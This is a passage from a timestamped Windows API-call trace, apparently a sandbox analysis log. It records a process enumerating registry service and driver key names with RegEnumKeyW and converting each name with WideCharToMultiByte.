lpMultiByteStr="dxgkrnl", lpUsedDefaultChar=0x0) returned 7 [0029.297] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x5d, lpName=0x1c829e0, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0029.297] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e1g60", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0029.297] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e1g60", cchWideChar=5, lpMultiByteStr=0x1c946d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="e1g60", lpUsedDefaultChar=0x0) returned 5 [0029.297] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x5e, lpName=0x1c829e0, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0029.297] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eaphost", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0029.297] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eaphost", cchWideChar=7, lpMultiByteStr=0x1c94450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eaphost", lpUsedDefaultChar=0x0) returned 7 [0029.297] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x5f, lpName=0x1c829e0, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0029.297] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ebdrv", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0029.297] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ebdrv", cchWideChar=5, lpMultiByteStr=0x1c946d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ebdrv", lpUsedDefaultChar=0x0) returned 5 [0029.298] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x60, lpName=0x1c829e0, cchName=0x104 | out: lpName="EFS") returned 0x0 [0029.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="efs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0029.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="efs", cchWideChar=3, lpMultiByteStr=0x1c94450, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="efs", lpUsedDefaultChar=0x0) returned 3 [0029.298] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x61, lpName=0x1c829e0, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0029.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0029.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr", cchWideChar=7, lpMultiByteStr=0x1c946d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehrecvr", lpUsedDefaultChar=0x0) returned 7 [0029.298] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x62, lpName=0x1c829e0, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0029.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehsched", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0029.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehsched", cchWideChar=7, lpMultiByteStr=0x1c94450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehsched", lpUsedDefaultChar=0x0) returned 7 [0029.298] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x63, lpName=0x1c829e0, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0029.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="elxstor", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0029.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="elxstor", cchWideChar=7, lpMultiByteStr=0x1c946d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="elxstor", lpUsedDefaultChar=0x0) returned 7 [0029.298] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x64, lpName=0x1c829e0, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0029.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="errdev", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0029.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="errdev", cchWideChar=6, lpMultiByteStr=0x1c94450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="errdev", lpUsedDefaultChar=0x0) returned 6 [0029.298] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x65, lpName=0x1c829e0, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0029.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="esent", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0029.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="esent", cchWideChar=5, lpMultiByteStr=0x1c946d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="esent", lpUsedDefaultChar=0x0) returned 5 [0029.298] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x66, lpName=0x1c829e0, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0029.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventlog", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0029.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventlog", cchWideChar=8, lpMultiByteStr=0x1c94450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventlog", lpUsedDefaultChar=0x0) returned 8 [0029.298] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x67, lpName=0x1c829e0, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0029.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0029.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x1c946d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0029.299] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x68, lpName=0x1c829e0, cchName=0x104 | out: lpName="exfat") returned 0x0 [0029.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exfat", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0029.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exfat", cchWideChar=5, lpMultiByteStr=0x1c94450, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exfat", lpUsedDefaultChar=0x0) returned 5 [0029.299] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x69, lpName=0x1c829e0, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0029.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fastfat", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0029.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fastfat", cchWideChar=7, lpMultiByteStr=0x1c946d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fastfat", lpUsedDefaultChar=0x0) returned 7 [0029.299] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x6a, lpName=0x1c829e0, cchName=0x104 | out: lpName="Fax") returned 0x0 [0029.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0029.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x1c94450, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0029.299] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x6b, lpName=0x1c829e0, cchName=0x104 | out: lpName="fdc") returned 0x0 [0029.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0029.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdc", cchWideChar=3, lpMultiByteStr=0x1c946d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdc", lpUsedDefaultChar=0x0) returned 3 [0029.299] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x6c, lpName=0x1c829e0, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0029.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdphost", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0029.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdphost", cchWideChar=7, lpMultiByteStr=0x1c94450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdphost", lpUsedDefaultChar=0x0) returned 7 [0029.299] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x6d, lpName=0x1c829e0, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0029.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdrespub", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0029.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdrespub", cchWideChar=8, lpMultiByteStr=0x1c946d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdrespub", lpUsedDefaultChar=0x0) returned 8 [0029.299] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x6e, lpName=0x1c829e0, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0029.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fileinfo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0029.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fileinfo", cchWideChar=8, lpMultiByteStr=0x1c94450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fileinfo", lpUsedDefaultChar=0x0) returned 8 [0029.299] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x6f, lpName=0x1c829e0, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0029.300] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="filetrace", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0029.300] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="filetrace", cchWideChar=9, lpMultiByteStr=0x1c946d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="filetrace", lpUsedDefaultChar=0x0) returned 9 [0029.300] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x70, lpName=0x1c829e0, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0029.300] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flpydisk", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0029.300] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flpydisk", cchWideChar=8, lpMultiByteStr=0x1c94450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flpydisk", lpUsedDefaultChar=0x0) returned 8 [0029.300] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x71, lpName=0x1c829e0, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0029.300] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fltmgr", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0029.300] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fltmgr", cchWideChar=6, lpMultiByteStr=0x1c946d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fltmgr", lpUsedDefaultChar=0x0) returned 6 [0029.300] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x72, lpName=0x1c829e0, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0029.300] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0029.300] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache", cchWideChar=9, lpMultiByteStr=0x1c94450, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fontcache", lpUsedDefaultChar=0x0) returned 9 [0029.300] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x73, lpName=0x1c829e0, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0029.300] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache3.0.0.0", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0029.300] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache3.0.0.0", cchWideChar=16, lpMultiByteStr=0x1c946d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fontcache3.0.0.0", lpUsedDefaultChar=0x0) returned 16 [0029.300] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x74, lpName=0x1c829e0, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0029.300] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fsdepends", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0029.300] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fsdepends", cchWideChar=9, lpMultiByteStr=0x1c94450, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fsdepends", lpUsedDefaultChar=0x0) returned 9 [0029.300] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x75, lpName=0x1c829e0, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0029.300] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fs_rec", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0029.300] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fs_rec", cchWideChar=6, lpMultiByteStr=0x1c946d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fs_rec", lpUsedDefaultChar=0x0) returned 6 [0029.300] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x76, lpName=0x1c829e0, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0029.300] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fvevol", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0029.300] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fvevol", cchWideChar=6, lpMultiByteStr=0x1c94450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fvevol", lpUsedDefaultChar=0x0) returned 6 [0029.300] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x77, lpName=0x1c829e0, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0029.301] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gagp30kx", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0029.301] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gagp30kx", cchWideChar=8, lpMultiByteStr=0x1c946d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gagp30kx", lpUsedDefaultChar=0x0) returned 8 [0029.301] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x78, lpName=0x1c829e0, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0029.301] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpsvc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0029.301] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpsvc", cchWideChar=5, lpMultiByteStr=0x1c94450, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpsvc", lpUsedDefaultChar=0x0) returned 5 [0029.301] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x79, lpName=0x1c829e0, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0029.301] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdate", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0029.301] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdate", cchWideChar=7, lpMultiByteStr=0x1c946d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gupdate", lpUsedDefaultChar=0x0) returned 7 [0029.301] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x7a, lpName=0x1c829e0, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0029.301] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdatem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0029.301] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdatem", cchWideChar=8, lpMultiByteStr=0x1c94450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gupdatem", lpUsedDefaultChar=0x0) returned 8 [0029.301] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x7b, lpName=0x1c829e0, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0029.301] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hcw85cir", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0029.301] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hcw85cir", cchWideChar=8, lpMultiByteStr=0x1c946d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hcw85cir", lpUsedDefaultChar=0x0) returned 8 [0029.301] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x7c, lpName=0x1c829e0, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0029.301] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudaddservice", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0029.301] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudaddservice", cchWideChar=15, lpMultiByteStr=0x1c94450, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hdaudaddservice", lpUsedDefaultChar=0x0) returned 15 [0029.301] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x7d, lpName=0x1c829e0, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0029.301] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudbus", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0029.301] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudbus", cchWideChar=8, lpMultiByteStr=0x1c946d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hdaudbus", lpUsedDefaultChar=0x0) returned 8 [0029.301] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x7e, lpName=0x1c829e0, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0029.301] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbatt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0029.301] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbatt", cchWideChar=7, lpMultiByteStr=0x1c94450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidbatt", lpUsedDefaultChar=0x0) returned 7 [0029.301] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x7f, lpName=0x1c829e0, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0029.302] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbth", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0029.302] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbth", cchWideChar=6, lpMultiByteStr=0x1c946d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidbth", lpUsedDefaultChar=0x0) returned 6 [0029.302] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x80, lpName=0x1c829e0, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0029.302] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidir", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0029.302] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidir", cchWideChar=5, lpMultiByteStr=0x1c94450, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidir", lpUsedDefaultChar=0x0) returned 5 [0029.302] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x81, lpName=0x1c829e0, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0029.302] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0029.302] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidserv", cchWideChar=7, lpMultiByteStr=0x1c946d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidserv", lpUsedDefaultChar=0x0) returned 7 [0029.302] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x82, lpName=0x1c829e0, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0029.302] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidusb", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0029.302] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidusb", cchWideChar=6, lpMultiByteStr=0x1c94450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidusb", lpUsedDefaultChar=0x0) returned 6 [0029.302] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x83, lpName=0x1c829e0, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0029.302] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hkmsvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0029.302] 